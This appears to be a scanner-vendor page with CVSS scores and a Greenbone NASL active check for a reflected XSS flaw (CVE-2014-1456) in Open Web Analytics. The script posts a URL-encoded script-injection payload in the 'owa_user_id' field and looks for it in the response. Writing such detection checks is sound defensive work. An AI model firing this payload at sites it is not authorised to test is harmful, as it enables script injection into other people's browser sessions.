4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
AI Score
Confidence
High
0.003 Low
EPSS
Percentile
65.6%
Open Web Analytics is prone to a cross-site scripting (XSS)
vulnerability.
# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
CPE = "cpe:/a:openwebanalytics:open_web_analytics";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.804404");
script_version("2023-04-04T10:19:20+0000");
script_tag(name:"last_modification", value:"2023-04-04 10:19:20 +0000 (Tue, 04 Apr 2023)");
script_tag(name:"creation_date", value:"2014-03-05 13:12:41 +0530 (Wed, 05 Mar 2014)");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_cve_id("CVE-2014-1456");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"VendorFix");
script_name("Open Web Analytics < 1.5.6 Reflected XSS Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2014 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_open_web_analytics_http_detect.nasl");
script_mandatory_keys("open_web_analytics/http/detected");
script_require_ports("Services/www", 443);
script_tag(name:"summary", value:"Open Web Analytics is prone to a cross-site scripting (XSS)
vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");
script_tag(name:"insight", value:"Input passed via the 'owa_user_id' parameter to the login page
is not properly sanitised before being returned to the user.");
script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
HTML and script code in a user's browser session in context of an affected site.");
script_tag(name:"affected", value:"Open Web Analytics version 1.5.5 and prior.");
script_tag(name:"solution", value:"Update to version 1.5.6 or later.");
script_xref(name:"URL", value:"http://secunia.com/advisories/56885");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/65571");
script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/91124");
script_xref(name:"URL", value:"http://www.secureworks.com/cyber-threat-intelligence/advisories/SWRX-2014-004");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
if (!port = get_app_port(cpe: CPE, service: "www"))
exit(0);
if (!dir = get_app_location(cpe: CPE, port: port))
exit(0);
if (dir == "/")
dir = "";
url = dir + "/index.php";
header = make_array("Content-Type", "application/x-www-form-urlencoded");
data = "owa_user_id=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B" +
"%3C%2Fscript%3E&owa_password=&owa_go=&owa_action=base.login" +
"&owa_submit_btn=Login";
req = http_post_put_req(port: port, url: url, data: data, add_headers: header);
res = http_keepalive_send_recv(port: port, data: req);
if (res =~ "^HTTP/1\.[01] 200" && '">alert(document.cookie);">' >< res && ">Web Analytics<" >< res) {
report = 'It was possible to conduct an XSS attack.\n\nResult:\n\n' + chomp(res);
security_message(port: port, data: report);
exit(0);
}
exit(0);